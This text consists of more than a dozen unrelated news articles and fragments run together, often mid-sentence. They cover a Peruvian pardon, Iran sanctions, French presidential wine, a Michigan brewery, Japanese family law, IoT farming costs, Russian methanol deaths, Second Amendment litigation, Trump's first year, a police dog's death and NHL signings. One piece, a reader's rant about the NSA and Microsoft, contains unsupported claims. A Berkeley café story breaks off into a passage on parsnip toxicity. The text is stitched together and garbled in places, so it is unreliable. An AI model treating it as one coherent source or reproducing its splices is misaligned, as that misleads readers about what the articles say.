“We suffered from his murders... he still hasn’t acknowledged his crimes,” said Norma Mendez, the mother of a journalist killed in 1991 in what Peru’s truth commission deemed an extrajudicial attack by government agents.
Protests against the pardon over Christmas ended in clashes. Kuczynski, a 79-year-old former Wall Street banker, survived last week’s effort by opposition members of Congress to remove him over alleged links to a corruption scandal. The president denied any wrongdoing.Iran Slams Washington’s ‘Illegal’ Sanctions Plan
Iran responded angrily on Thursday to U.S. plans to impose new sanctions on nearly a dozen companies and individuals with ties to Tehran’s ballistic missile program, with its Foreign Ministry warning the “arbitrary and illegal” measures would violate the Iran nuclear deal signed between Tehran and world powers in July.
The Obama administration’s new measures, if enacted, would mark a significant downturn in U.S.-Iranian relations and set back expectations of a detente between the longtime adversaries. The planned action follows calls from Republicans and some Democrats in Congress to bring more pressure to bear on Iran in response to its Oct. 10 launch of a medium-range Emad rocket capable of carrying a nuclear warhead. A U.N. panel confirmed the launch earlier this month.
A senior administration official confirmed to Foreign Policy that the United States has prepared sanctions against individuals in Iran, Hong Kong, and the United Arab Emirates, including Mabrooka Trading Co. and its founder Hossein Pournaghshband, for their alleged role in helping Iranian firms obtain carbon fiber for the country’s missile program.
Pournaghshband reportedly worked with a subsidiary in Hong Kong, Anhui Land Group Co., to obtain funding and resources for a carbon-fiber production line. The material is an important component for developing missiles. The Treasury Department is also poised to sanction five employees of Iran’s Ministry of Defense and Armed Forces Logistics, moves first reported by the Wall Street Journal, for their alleged involvement in the missile program.
“As we’ve said, we’ve been looking for some time at options for additional actions related to Iran’s ballistic missile program based on our continued concerns about its activities,” said the official.
Earlier this month, U.N. sanctions monitors said Iran’s Oct. 10 launch violated Security Council resolution 1929, which remains valid until the landmark nuclear deal comes into effect. Once it goes into effect, Iran is merely “called upon” not to carry out ballistic missile work that could deliver a nuclear warhead for up to eight years.
Some U.S. officials have said Treasury reserves the right to sanction Iranian companies and individuals suspected of involvement in missile activities under the July nuclear deal.
Iranian officials, for their part, say Ayatollah Ali Khamenei, the country’s supreme leader, views those measures as violating the nuclear accord.
“As we have declared to the American government … Iran’s missile program has no connection to the [nuclear] agreement,” Foreign Ministry spokesman Hossein Jaber Ansari said on Thursday.
Iran says international resolutions only ban missiles “designed” to carry a nuclear bomb, not “capable” of carrying one. And because Tehran says it is not pursuing a nuclear weapon, it regards the restrictions as not applicable to its military program. (Iran considers Emad a “conventional missile.”)
The new sanctions fight highlights the complexities of Washington’s relationship with Tehran, with the two longtime adversaries in a de facto alliance against the Islamic State while simultaneously at odds over the implementation of the historic pact that traded sanctions relief for sharp constraints on Iran’s nuclear program.
On Monday, Iran shipped more than 25,000 pounds of nuclear material to Russia, a major milestone that left the Islamic Republic without enough low-enriched uranium to manufacture a nuclear weapon.
While the White House touted the accomplishment, Republicans continued to clamor for a more aggressive response to Iran’s missile testing and introduced legislation to bar the Obama administration from lifting sanctions on Iran, as agreed to in the nuclear deal, until it certifies that Iran has ended any military-related activity in connection to its nuclear program, among other things. The Obama administration opposes the legislation.
Meanwhile, in Iran, the Foreign Ministry expressed anger over new U.S. visa rules it says violate the nuclear deal by impeding Iranian business. (A spokesman for the ministry said on Monday that Iran may take “its own steps in response.”)
In December, President Barack Obama signed into law rules restricting visa-free travel for individuals who have visited Iran, Iraq, Syria, and Sudan in the past five years. The law affects 38 countries that have visa waiver arrangements with the United States and is framed as a measure to prevent Islamic State terrorists from entering the homeland. Given Iran’s staunch opposition to the Islamic State, and the fact that the Shiite-dominated country has not been known to export fighters to the Sunni extremist group, Tehran has attacked the legislation as senseless.
“Any steps taken outside the agreement are unacceptable to Iran, and Iran will take its own steps in response where necessary,” Jaber Ansari said Monday referring to the legislation.
Photo credit: Getty ImagesPARIS — The dreaded phantasm of economic austerity has finally knocked its bony fingers on the door of the Élysée Palace, which announced on Tuesday that it would auction off 1,200 bottles of its finest wines, renew its cellar with “more modest” vintages and return the surplus to the state budget.
President François Hollande, a Socialist who was elected a year ago, has made a point of trying to be a “normal president” and contrast his simpler style with the “bling bling” image of his predecessor, Nicolas Sarkozy. He has trimmed the presidential and ministerial fleet of cars, and has cut ministerial salaries.
But the wine cellars of the Élysée are rightly famous for showcasing the best of French wines. And while Mr. Hollande has offered guests a knowledgeably chosen selection of more modest wines, selling some of the older stock is a bit like selling grandmother’s silver.
The last Socialist president, François Mitterrand, was well known for his love of Burgundy and for a St.-Estèphe, Haut-Marbuzet. Georges Pompidou was said to love Chasse-Spleen, while Valéry Giscard d’Estaing favored fine Bordeaux from the Médoc. Jacques Chirac, who had high tastes in art and wine, and a fondness for Dom Pérignon, preferred to be seen in public drinking beer.KALAMAZOO — It has been a long, hard trip for Jake Hambright, but the co-owner of Sunset Boulevard Brewing Co. in Kalamazoo said his business will open Friday.
Hambright, who owns the brewery with Teresa Bailey, said the 3,000-square-foot brewery and restaurant near the Kalamazoo/Battle Creek International Airport will hoist its first pints as the sun sets at about 5:30 p.m. Friday.
Hambright originally hoped to open last spring but learned the hard way the amount of paperwork needed to get a project such as his approved and off the ground.
Hambright started the process about the same time as the Paw Paw Brewing Co., which celebrated its first anniversary last weekend.
Paw Paw had its own representation, but Hambright tried to submit forms on his own to various federal, state and local authorities.
If you go
Sunset Boulevard Brewing Co.
What:
New brewery and restaurant
Where:
4212 Portage St.
When:
Grand opening about 5 p.m. Friday
Hours:
11 a.m. to 2 a.m. Tuesdays through Saturdays, noon to midnight Sundays
Contact:
269-343-0711, or the brewery Facebook page
“Looking back, I should have” gotten a lawyer, he said. Hambright said the delay eventually led to an additional $30,000 in expenses.
But Hambright said he is ready to begin looking forward. He has hired Kevin Christensen, a homebrewer from the Paw Paw area, to handle making beer on three one-barrel systems.
Sunset Boulevard initially will offer a double India pale ale, stout, porter, kolsch, pale ale and an apple ale. Hambright will have about 18 to 20 employees, including six or seven full-timers, he said.
Howie Peak, who has worked at R. Stanley’s Diner, Zazios and Webster’s Prime, is the executive chef, making California fusion cuisine, Hambright said.
“It’ll be more upscale from normal pub grub but offers everything from seafood to burgers,” he said.
The brewery, with a capacity of 99 people, will be open daily for lunch and dinner, except Mondays.
Sunset also will sell growlers (64-ounce glass containers), so patrons can take beer home, and will deliver food and beer with orders taken over the phone or online.
“It’s been a tough road, but I’m geeked,” Hambright said.
Contact John Liberty at jliberty@kalamazoogazette.com, 269-388-8579; find me on Twitter @JohnTLibertyA couple in their 20s, who have a five-month-old son, have filed a suit with the Tokyo District Court against the Japanese government, challenging the constitutionality of Article 733 of the Civil Code which prohibits only women from remarrying within six months after getting a divorce.
The couple, who are from Shizuoka Prefecture, said in their suit that they were not allowed to register their marriage in July because it was only two months after the woman divorced her previous husband, Sankei Shimbun reported. Furthermore, the couple have not been allowed to register their son's birth.
According to the plaintiffs, the two met in 2013 when the woman was living separately from her ex-husband. Her son was born in May which was right before she was legally granted the divorce. In such cases, the civil law still presumes the child's father to be the woman's ex-husband.
The plaintiffs are demanding 3 million yen in compensation for not being able to legally marry and not be able to register the boy as their child, Sankei reported.
The topic has been a contentious one for many years and the Supreme Court will hear oral arguments challenging the constitutionality of Article 733 as well as Article 750 which mandates that married couples choose one surname.
The issue has been in the spotlight since an Okayama woman, who is in her 20s, filed a suit with the Okayama District Court and high court two years ago, challenging the constitutionality of the two articles. However, both courts deemed that the two laws were not in violation of the constitution, ruling that the legislation helped to prevent paternity disputes and therefore had a reasonable aim. As such, the courts declared that an examination of its constitutionality was not necessary.
The Supreme Court's Grand Bench of all 15 judges will hear the case, beginning Nov 4. It will be the first time the Supreme Court has agreed to pass judgement on such issues.
The plaintiff, who lives in Soja, Okayama Prefecture, was divorced in March 2008 and was forced to wait until October of the same year to marry her current husband. She sued for 1.65 million yen in damages, arguing the Civil Code is discriminatory because the same articles do not apply to men.
One exception to the rule is when a woman is pregnant before the divorce. Under this condition, she can remarry after the birth of a child. The law was intended to reduce the occurrence of paternity disputes, but has been criticized for restricting the behavior of women and not men.
The lawsuit was filed after the woman had a daughter with her current husband but the Soja local government did not recognize the child as being the offspring of her current husband because she had her child within 300 days of getting divorced.
According to Article 772 of the Civil Code, the child was still considered the legitimate offspring of the ex-husband who allegedly abused her. As a result, the new couple were unable to register their daughter’s birth.
Regarding surnames, there are provisions in the Civil Code that state a married couple must use a single surname -- either the husband's or the wife's. In 1996, a legislative council of the Ministry of Justice proposed creating a system in which married women or men can have the choice to keep their own surnames, but no amendments were ever made to the Civil Code.
© Japan TodayAmerican technology companies are losing business on a major scale. The NSA will be responsible for wiping out the United States as a leader in computer science all because they have to listen to the entire world like an old woman addicted to soap operas. I find myself totally shocked at Microsoft. I purchased the latest office at a store. You then have to go online to download the program. They REQUIRE you to have a Microsoft Account. The worse part of this was they demanded I enter a credit card to PROVE who I was acknowledging it would not be used since I already paid for it. I simply refused. They will not refund your money so this is the latest consumer fraud. It is not disclosed that you must PROVE who you are now to use their software. This has gone way too far. There are alternatives out there for word like LibreOffice, and Gnumeric is a better spreadsheet than excel for it can open files excel cannot. There are alternatives to Powerpoint and of course there are alternatives to Outlook such as Thunderbird.
The question is WHY should I have to PROVE who I am to Microsoft to use a product I already paid for? Something just smells funny so the only choice was to walk away and they stole my money for nothing. There are plenty of alternatives and Microsoft just lost all our business.
Now China has dropped most of the leading technology brands of the USA all because of the NSA and who can blame them? Widespread Western cybersurveillance has just gone too far. I would now rather use any product from someplace else or write my own. US technology has commited suicide for China will be the biggest economy where all the economic growth will be in the years ahead.
This has impacted U.S. network equipment maker Cisco Systems Inc, which in 2012 counted 60 products on the Central Government Procurement Center’s (CGPC) list, but by late 2014 had ZERO according to Reuters. Apple, Intel, McAfee and Citrx have all been dropped. China is shifting to internal alternatives.
The NSA is wiping out the US economy rapidly and Congress, occupied with lawyers, can only argue to uphold laws they write without any comprehension of the consequences. This is all part of the economic decline we see after 2015.75.The Internet of Things (IoT) is coming to the agriculture industry, but a new report suggests that service costs and niche products are slowing adoption of the new technologies.
Benefits of IoT in agriculture include better yield rates and reductions in the amount of water, soil, and seed needed. The worry, for farmers, is the implementation of IoT systems and cost of service surpasses the costs saved from using the technology.
See Also: When will robots finally take farmers’ jobs?
It is not the first industry to be on the fence on IoT benefits. Retailers have had a wealth of IoT startups to choose from, offering data analytics on shopper behaviors, but most have skipped the services, possibly due to the service charges outweighing the added revenue per customer.
In agriculture, there are a few suppliers that offer services at an annual cost. One of those is OnFarm Systems, which provides its Grower Dashboard, a platform to manage farm sensors, monitor temperature, cloud, and water irrigation, schedule tasks, and view analytics.
That comes alongside SMS alerts, maps, weather data, storage and backup and a messaging service. For a single user, the cost is $100 a year, but OnFarm limits the user to three data streams and one property, whereas the $500 a year package gives unlimited integrated data, acres, and data feeds. On top of that, an additional $100 is added for every virtual weather station the customer purchases.
Agriculture margins make tech investment tough
Others mentioned in the Lux Research report don’t provide costs on their website. Semios, for example, shows five different parts of its IoT platform for orchard and soil-based farming, but doesn’t say if the five features come separate or are available in one annual package.
See Also: Can Arable’s IoT tech end world hunger?
Phytech is even more expensive than OnFarm, costing $500 per acre. In case studies, Phytech says it can reduce water usage by 10 percent in two weeks, but is that reduction enough to cover the costs? All depends on the produce cost and how much a farmer can fit onto an acre of land.
The agriculture industry is not seeing large profits and service providers need to be able to show their value if they want customers that send payment every year. If 10 percent reduction in water usage or 20 percent increase in yield rate is worth it, we are bound to see more of these IoT startups enter the market, but if its not, we might see farmers firmly reject these emerging technologies for a few more years.Image copyright EPA Image caption The label - showing a bridge in St Petersburg - said the product contained ethyl alcohol rather than deadly methanol
Russian President Vladimir Putin has ordered stricter governmental measures to crack down on sales of surrogate alcohol, after dozens died from drinking a bath lotion.
The death toll in the Siberian city of Irkutsk has risen to 62, with more than 30 people seriously ill.
Mr Putin also wants new rules for compulsory labelling, plus tougher penalties for bootleggers.
The deadly bath lotion contained methanol, which is highly poisonous.
Excise tax increase
Analysts say up to 12 million Russians drink cheap alternatives to regular, drinkable alcohol.
These are often labelled as cosmetics or medicines, and are regularly sold via vending machines.
The presidential orders, published on the Kremlin website, call for tougher rules on all products containing more than 25% alcohol, and on the retailing of medicinal and veterinary products containing alcohol.
Image copyright EPA Image caption Police in Irkutsk check private stores to ensure they are not selling poisonous lotions
Mr Putin also approved increasing excise taxes on surrogate alcohols, which would make them less profitable.
The government has until July to create and submit the new legislation.
The Siberian Times said the mass poisoning in Irkutsk was "now the worst such case in modern Russian history".
Twelve people have been arrested in an investigation that has seen 1,500 premises searched and thousands of bottles of spirits confiscated.
Investigators say the hawthorn-scented liquid carried warnings that it was not for drinking, but the label also said the product contained ethanol, rather than deadly methanol, which can also cause blindness.
Russian Prime Minister Dmitry Medvedev has ordered his cabinet to "sort out" the problem of selling such alcoholic products not intended for drinking.
Mr Medvedev called their widespread sale through vending machines "an absolute disgrace".
Image copyright EPA Image caption This boxed package of hawthorn bath essence was confiscated during an operation checking all private stores selling alcohol in Irkutsk
Health Minister Oleg Yaroshenko said that almost half of those still being treated are not expected to live and were in a very serious condition.
"They came to [the] doctors too late.... Only a miracle can save them," he was quoted by the Siberian Times as saying.
The paper said that a doctor and a kindergarten teacher were among the victims and that many of those who died were discovered in their homes because they did not have sufficient time to call an ambulance.
Most of the victims are reported to be aged between 35 and 50.
One 33-year-old survivor said that he only drank a small amount of the lotion but still woke up blind the following morning.Since the 2010 Supreme Court case McDonald v. Chicago, which applied the ruling in the 2008 Heller case (which said the Second Amendment guarantees an individual right to bear arms) to states and localities, the Court has so far evaded any new case about the limits and meaning of the Second Amendment.
Those two cases, though, did not resolve all the important questions about how and when and why the government can restrict Second Amendment rights. Heller and McDonald said that the right to possess commonly used weapons for self-defense in the home cannot be infringed, but Justice Antonin Scalia in his majority opinion in Heller explicitly said this didn’t mean anything goes when it comes to Americans and their guns.
Many other cases that try to define the whos, whens, and hows of our Second Amendment rights are percolating through the lower courts, and some are trying to wend their way to the Supreme Court.
Here are three of the most relevant active cases involving the Second Amendment, ones that promise to expand Second Amendment liberty, and resolve some of the core issues left unresolved by Heller and McDonald. Two of them will likely be considered for certiorari by the Supreme Court (though whether they will take them up is always hard to predict).
Next: NRA v. BATFE
1. NRA v. BATFE. This case challenges the 1968 prohibition on licensed gun dealers selling handguns or handgun ammo to adults between the ages of 18-20. (They can buy long guns, such as rifles or shotguns, and they are legally allowed to possess handguns, but their ability to obtain them is quite restricted if licensed dealers can’t sell to them.) The case has dragged on since 2011, so a new plaintiff had to be added as the original pair reached age 21. The NRA and their aggrieved plaintiffs argue that the law violates their Second Amendment rights and their rights under the equal protection clause of the Fifth Amendment.
Two lower courts decided that 18-20-year-olds have no rights under the Second Amendment, never mind Heller. Various other laws kill Second Amendment rights for categories such as felons or those adjudicated mentally ill. The petition for certiorari from the plaintiffs defines the question the case must settle as “Whether a nationwide, class-based, categorical ban on meaningful access to the quintessential means to exercise the right to keep and bear arms for self-defense can be reconciled with the Second Amendment, the equal protection guarantee, and this Court’s precedents.” That question has potential relevance beyond the specific class of 18-20-year-olds.
The lower courts’ opinions in NRA v. BATFE show they are not taking the Second Amendment, even post-Heller, seriously. “It is unthinkable,” as the cert petition states, “that a court would allow Congress to declare law-abiding individuals in the first three years of their legal majority too ‘irresponsible’ to be entrusted with First Amendment rights or to exercise fundamental unenumerated rights to autonomy.”
Still, the U.S. District Court for the Northern District of Texas, in initially granting the government summary judgment to dismiss the case in September 2011, thought that since “Congress identified a legitimate state interest—public safety—and passed legislation that is rationally related to addressing that issue—the ban” neither Second Amendment nor equal protection mattered. Congress wanted to do it, they did it, they thought they had their reasons, that settles it.
The Fifth Circuit Court of Appeals took up the case, but a panel of the court decided that since some categories of people had been barred from gun ownership even in the Founding era, and that since in the 19th and 20th centuries various laws prevented minors from owning weapons when the age of majority was still 21, that the Second Amendment likely didn’t have any bearing on this case (even though in the Founding era, irrespective of ages of majority, 18-20-year-olds were part of the armed militia).
Just to be sure, the Fifth Circuit decided that even if the Amendment did apply, if the court applied their version of intermediate scrutiny to the question of whether the law violated a right, that the right only “protects ‘law-abiding, responsible’ Citizens” and that “Congress found that persons under 21 tend to be relatively irresponsible.” There you go, though in a failed (in an 8-7 vote) attempt to get the Fifth Circuit to rehear the case en banc, a dissent from Judge Edith Jones wondered in what other area courts ever decided a constitutional right did not apply to “a law-abiding adult class of citizens” and mocked the decision’s extremely weak version of “intermediate scrutiny.”
That kind of intermediate scrutiny applied to Second Amendment violations has crushed many lower court gun cases post-Heller. Alan Gura, the lawyer who won both Heller and McDonald before the Supreme Court, says that “this is not the intermediate scrutiny that’s usually applied in constitutional cases, such as gender-based discrimination under the Equal Protection Clause. Under ‘real’ intermediate scrutiny, post-hoc rationalizations are insufficient, and the government bears the burden of showing a substantial fit between an important interest and the regulation at issue. Under Second Amendment intermediate scrutiny, the legislative excuses or police declarations are given presumptive weight, and the burden is laid upon the challengers. Sometimes the government is required to come back with more evidence, but this appears to largely be a pro forma step. Most (but not all) laws survive this analysis."
The Supreme Court is expected to hold a hearing on whether to take on this case in January. The cert petition spells out what’s at stake: “This case is part of a pervasive pattern of stubborn resistance to this Court’s holding that the Second Amendment secures a right that is not just individual, but fundamental.”
Next: Drake v. Filko
2. Drake v. Filko. This suit challenges New Jersey’s Handgun Permit Law for carrying weapons outside the home, a law upheld so far by both the U.S. District Court for the District of New Jersey and the Third Circuit Court of Appeals. The plaintiffs argued that requiring a potential gun carrier to prove to the police a “justifiable need” involving specific previous threats is an unconstitutional prior restraint on their Second Amendment rights.
The Third Circuit decision by Judge Ruggero Aldisert declares baldly that “the requirement that applicants demonstrate a ‘justifiable need’ to publicly carry a handgun for self-defense qualifies as a ‘presumptively lawful,’ ‘longstanding’ regulation and therefore does not burden conduct within the scope of the Second Amendment’s guarantee.”
That’s a bold evasion—whether it is lawful is exactly what’s at issue and merely presuming it is without argument is bizarre, though theoretically based on a phrase used by Scalia in Heller to refer to how such laws as those barring the mentally ill from owning guns or barring carrying guns in certain places such as schools or government buildings are "presumptively lawful" and ok even under Heller's ruling.
Aldisert is a mensch, though, and went ahead and considered whether if the law implicated the Second Amendment—though he doesn’t think it does—the law would stand up to “the applicable intermediate level of scrutiny.”
Yes it does, Aldisert says, because “The predictive judgment of New Jersey’s legislators is that limiting the issuance of permits to carry a handgun in public to only those who can show a ‘justifiable need’ will further its substantial interest in public safety…. To be sure, New Jersey has not presented us with much evidence to show how or why its legislators arrived at this predictive judgment.”
No evidence? No problem: “As the District Court correctly concluded, New Jersey’s legislature ‘has continually made the reasonable inference that given the obviously dangerous and deadly nature of handguns, requiring a showing of particularized need for a permit to carry one publicly serves the State’s interests in public safety.’” That supposed “reasonable inference” is all the judge needed to bar a vast number of New Jerseyans from tools of self-defense they might need outside their home.
Eugene Volokh, the UCLA law professor and founder of the influential legal blog Volokh Conspiracy, thinks chances are decent that the Supreme Court will take up Drake; a filing for certiorari to them is expected in January. Volokh wrote in July that:
There is something of a split between the circuits and state supreme courts that have upheld such restrictive schemes [on public carry], and the Seventh Circuit, which struck down the Illinois law; and while the Illinois law was an unusually broad carry ban, I think the logic of the Seventh Circuit decision is indeed contrary to that of the other decisions….The odds are still against cert — they almost always are — but I’d say that there’s at least a 25% chance or so of the Supreme Court agreeing to hear this case.
Next: New York State Rifle and Pistol Association [NYSRPA] v. City of New York
3. New York State Rifle and Pistol Association [NYSRPA] v. City of New York. This one, filed in the U.S. District Court for the Southern District of New York in March, is more a sentimental favorite than one on potential fast track to the Supreme Court. But the facts at issue aggravatingly expose the sort of asininely picayune restrictions on a core constitutional right that localities indulge in—even when their obvious effect is to reduce the relative safety of citizen gun ownership by making gun training harder.
New York City, you see, has its Title 38 that prohibits licensed handgun owners (and you must be licensed) from taking their guns outside their home or the city, even to their own second homes outside the city if they have one, or to any shooting practice outside the city. (They can take their guns outside the city to hunt, but only within the state and only with a separate permit.) In the city there is only one public shooting range, and it generally takes at least five days to get an appointment.
A decision on a motion for a preliminary injunction on the state against enforcing Title 38 had been stayed awaiting the resolution of a different case, Osterweil v. Bartlett, currently at the Second Circuit Court of Appeals, which concerns similar issues.
Osterweil challenged the constitutionality of New York denying him a gun possession license after he told them that his New York address was no longer his primary address, but just a vacation home. (This is another case in which a district court determined that “intermediate scrutiny” meant the law could stand, since demanding that licensees have a primary domicile in New York suits the state’s reasonable need to “to monitor its licensees more closely and better ensure the public safety.”)
One thing Osterweil would resolve is whether the New York State Court of Appeals considers “an applicant who owns a part-time residence in New York but makes his permanent domicile elsewhere eligible for a New York handgun license in the city or county where his part-time residence is located?” In October, that court decided that someone would be eligible for a license in his or her part time residence.** That could mean the plaintiffs’ argument in NYSRPA v. New York that the New York City law leaves them defenseless in any other home is blunted, and the restriction on their right to self-defense would seem less extreme.
But that an American’s ability, post-Heller, to move his own property about for constitutionally protected self-defense anyplace—his home, his second home, a friend’s home—is still being stymied by city law is a sure sign that the Supreme Court has more explaining to do on many issues to ensure Heller’s spirit, and not just its letter, will live.
**Correction: An earlier version of this article said that determination in Osterweil hadn't happened yet.Rice and Bones, a new campus Vietnamese café, opened its doors to the public Monday replacing Ramona’s, a former Cal Dining location in Wurster Hall.
Ramona’s closed March 2016 and the space has been under renovation ever since. Rice and Bones owner and chef Charles Phan is a campus alumnus who studied architecture in the College of Environmental Design in the 1980s. Phan also owns The Slanted Door and Out The Door in San Francisco and was awarded the 2004 James Beard Award |
as the sap is toxic.[32] Like many other members of the family Apiaceae, the parsnip contains furanocoumarins, phototoxic chemicals that cause a condition known as phytophotodermatitis.[32] Symptoms include redness, burning, and blisters; afflicted areas can remain discolored for up to two years.[33] Reports of gardeners experiencing toxic symptoms after coming into contact with foliage have been made but these have been small in number compared to the number of people who grow the crop. The problem is most likely to occur on a sunny day when gathering foliage or pulling up old plants that have gone to seed. The symptoms have mostly been mild to moderate.[34] The toxic properties of parsnip extracts are resistant to heating, and, to periods of storage lasting several months. Toxic symptoms can also affect livestock and poultry in parts of their bodies where their skin is exposed.[3]:221-222 Polyynes can be found in Apiaceae vegetables such as parsnip, and they show cytotoxic activities.[35]
See also Edit
Root parsley, a similar-looking vegetableThe Department of the Treasury approved Michigan’s plan to use the $74.5 million allocated to the state as part of an expansion of the Hardest Hit Fund program, paving the way for increased foreclosure prevention and blight elimination efforts in the cities of Detroit and Flint.
The state of Michigan received the additional $74.5 million as part of $1 billion expansion of the Hardest Hit Fund, with the Housing Finance Agencies of 18 states, including California, Florida, Illinois, Michigan, and Ohio, receiving additional funding to continue to assist “struggling homeowners” and help stabilize neighborhoods in many of the nation’s hardest hit communities.
The office of Michigan Gov. Rick Snyder announced the Treasury Department’s approval of the Michigan State Housing Development Authority’s plan, which will see the state dedicate 75% of the $74.5 million to its blight elimination program and the remaining 25% going to support mortgage assistance programs in the state.
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According to Snyder’s office, the blight funds will be divided between the two cities with the largest number of blighted structures in the state, with Detroit getting $41.9 million and Flint receiving $13.9 million.
Snyder’s office said that Michigan originally received $498 million from the Hardest Hit Fund when the program was announced in 2010 due to “unprecedented home price declines and high unemployment” in the state.
Snyder’s office said that more than 30,000 households in the state received more than $273 million in mortgage assistance to avoid foreclosure since the program’s inception.
And since the state’s blight elimination program was introduced in 2013, approximately 8,500 structures have been removed with approximately $130 million in HHF funds.
“These funds have been critical in helping people stay in their homes and avoid foreclosure while helping Detroit, Flint and other cities across our state eliminate blight and revitalize neighborhoods,” Snyder said.
According to Snyder’s office, the new mortgage assistance dollar will allow the state to reopen its Step Forward Michigan online application portal, which closed on Dec. 31, 2015, in April with the infusion of $18.6 million in new HHF funding.
“We continually advocate for and provide the tools and resources that can help Michigan homeowners and communities successfully navigate through hardships, including the lingering effects of the recession from the last decade,” MSHDA Executive Director Kevin Elsenheimer said.
Elsenheimer also said that the MSHDA applied for a “much larger” second phase of HHF money, because the additional funding could help further bolster homeowners and communities throughout the state.
Elsenheimer said that he expects a response from the U.S. Treasury on that request in the coming weeks.
“Although Michigan's unemployment rate is now below the national average and a great example of our state’s continued success, the importance of these HHF dollars on Michigan’s reinvention cannot be underscored enough,” Elsenheimer said. “They will be greatly appreciated by the citizens and communities that may still be lagging behind.”After he won what he erroneously described as an Electoral College "landslide," Donald Trump explained away his failure to attract the support of most voters by conjuring "millions of people who voted illegally"—a massive fraud that somehow went completely undetected by election officials throughout the country. A few days after taking office, Trump revived that fantastical claim, setting a pattern for the excuse making and blame shifting that would mark the first year of his presidency. Here are some of the highlights.
Smooth talk. A hasty, half-baked executive order that Trump issued on January 27 immediately blocked entry by travelers from seven Muslim-majority countries, including legal permanent residents of the United States and people who had already received visas. Despite the ensuing chaos as hundreds of people were detained at airports around the country, Trump insisted that "we had a very smooth rollout of the travel ban," blaming any problems on the judges who blocked its enforcement.
Who's the boss? After the first travel ban got bogged down in the courts, Trump issued a revised version that was designed to be more legally defensible. Then he acted as if he had nothing to do with the executive order he had signed, tweeting, "The Justice Dept. should have stayed with the original Travel Ban, not the watered down, politically correct version."
Secretarial oversight. "It is so pathetic that the Dems have still not approved my full Cabinet," Trump complained on March 3. At that point the White House still had not sent the Republican-controlled Senate the nomination paperwork for the two Cabinet jobs that remained vacant.
Tax dodge. After making an issue of his tax returns by repeatedly promising to release them but never actually doing so, Trump blamed the news media for creating a phony controversy. "Nobody cares about my tax return except for the reporters," he said on May 4, contradicting polls finding that most Americans think he should make the information public.
Comey cover. When Trump fired FBI Director James Comey in May, the White House said he did so at the recommendation of Deputy Attorney General Rod Rosenstein, who argued that Comey deserved to be sacked because he had treated Hillary Clinton unfairly while investigating her email practices as secretary of state. Trump, who had long complained that Comey went too easy on Clinton, later admitted the Rosenstein memo was nothing more than window dressing for a decision he had already made.
'They lost Ryan.' After a Navy SEAL, William Ryan Owens, was killed during a raid in Yemen on January 29, Trump made it clear that his role as commander in chief did not mean he bore any responsibility for the operation. "This was a mission that was started before I got here," Trump said on Fox News a month later. "This was something that…they wanted to do. They came to see me, and they explained what they wanted to do, the generals, who are very respected….and they lost Ryan."
'They have decision-making ability.' Even after Trump had been on the job more than eight months, he was not prepared to accept responsibility for military mishaps on his watch. He emphasized that he did "not specifically" authorize an October 4 mission in Niger that ended with four American soldiers dead, because "my generals and my military, they have decision-making ability."
Careless condolence. When Trump called the widow of Sgt. La David Johnson, one of the soldiers killed in Niger, his awkward attempt at condolences, which included a statement to the effect that Johnson "knew what he signed up for," offended her. Instead of apologizing, Trump blamed the controversy on a congresswoman who was present during the call and accurately reported the widow's reaction.
Trump is hardly the first president to blame other people for his failures, but he does so more promiscuously and preposterously than any of his recent predecessors. I'd say these episodes reveal a man who seems constitutionally incapable of accepting responsibility, but even that sounds like an excuse.
© Copyright 2017 by Creators Syndicate Inc.A police dog died as a result of being left in a hot patrol car, according to GSPD spokesman Sgt. Jason Woodruff.
The three-year-old dog was left inside an officer's car on Thursday, June 18 during a hurricane preparation conference in Gulf Shores.
"Mason's handler Corporal Josh Coleman forgot that Mason was still in the back seat of his patrol car. On discovering Mason's absence Cpl. Coleman located him in the vehicle," the statement read.
No criminal charges will be filed but the city and the department have taken action against Coleman.
Mason was photographed at the Hurricane Preparedness Expo on Thursday, inside of a building.
Officer Mason was immediately transported to a veterinarian for care upon discovery but died on Friday, June 19 of heat-related causes.
Mason was a "community engagement officer."
"Mason was not an enforcement K-9. Enforcement K-9's spend a good deal of time in their handler's vehicles, so those vehicles are equipped with remote heat alarms, water bowls., and other protective measures. Because Mason's duties did not include long periods in a vehicle, those protective measures were not available in his handler's car," Woodruff wrote.
The department had just celebrated the dog's birthday.
Woodruff also issued a word of caution to the community.
"This situation has been devastating for Cpl. Coleman and his family and we hope that they are able to work through their understandable emotions. This is a tragic occurrence that has left the entire organization mourning a terrible loss," Woodruff said said.
"It also illustrates how easy it is to become distracted, and how quickly heat can affect those that we love that are particularly vulnerable to it. Please keep this in mind when transporting children, pets, or the elderly," he said.The Toronto Maple Leafs and Ottawa Senators will never forget the NHL’s 2013 free-agent frenzy. And while one team tosses and turns in their slumber as they recall the decisions made that day, the other doesn’t lose a wink of sleep.
One team distraught, the other, content.
You could argue that David Clarkson was the biggest name in all of free agency on July 5, 2013. Sure there were former superstars like Jarome Iginla, Jaromir Jagr and Tim Thomas in the mix of things, but no one seemed to have the potential and goal-scoring ability like Clarkson.
Clarkson became a known goal scorer for the first time in the 2011-12 season when he potted 30 in a year that saw his New Jersey Devils make it all the way to the Stanley Cup Final. The next year, in the shortened 48-game season, Clarkson put up 15. A small setback, but still, the potential was there.
Come early July, it was noted that the Maple Leafs had interest in Clarkson, but Senators had firmly expressed their desires in the 28-year old winger greatly.
“He is one person we have targeted and he fits the role we are really looking for. We like grit on our team. I’ve heard some reporters here that they like the odd guy to have the odd fight, so he can even do that if he had to I suppose.” – Bryan Murray. Ottawa Sun. Published: July 4, 2013.
Though Murray had shown great interest in Clarkson, it came to no avail as the Maple Leafs ended up inking the Toronto native to a 7-year deal worth $36.75 million on the first day of free agency. A hometown kind of deal. With Clarkson off the market, it was time for the Senators regroup and pick a different target.
They chose Clarke MacArthur.
After losing Daniel Alfredsson to the open market and gaining Bobby Ryan from a trade with the Anaheim Ducks, MacArthur was the final piece of the puzzle Ottawa was looking for. He hadn’t scored 30 goals before like Clarkson, but nonetheless, the former Leaf was still a proven point-getter, recording 62 with Toronto in the 2010-11 season.
Two free agent signings, two different stories.
The First Season
Clarkson got off to a rough start with the Leafs. The regular season hadn’t even started yet, but he was already getting into trouble.
In a preseason game against the Buffalo Sabres, John Scott tried to pick a fight with an uninterested Phil Kessel. Kessel’s decision to stray away from Scott was understandable, seeing as Scott is 6 foot 8, 270 pounds, and well, Kessel is not.
Seeing his teammate in peril, Clarkson then took it upon himself to skate after Scott and drop the gloves with him. This would have been all fine and dandy if Clarkson was on the ice at the time. But he wasn’t. Clarkson received a ten-game suspension for hopping over the boards to fight Scott.
It was the preseason.
Though there were different circumstances, MacArthur also started slowly with his new team.
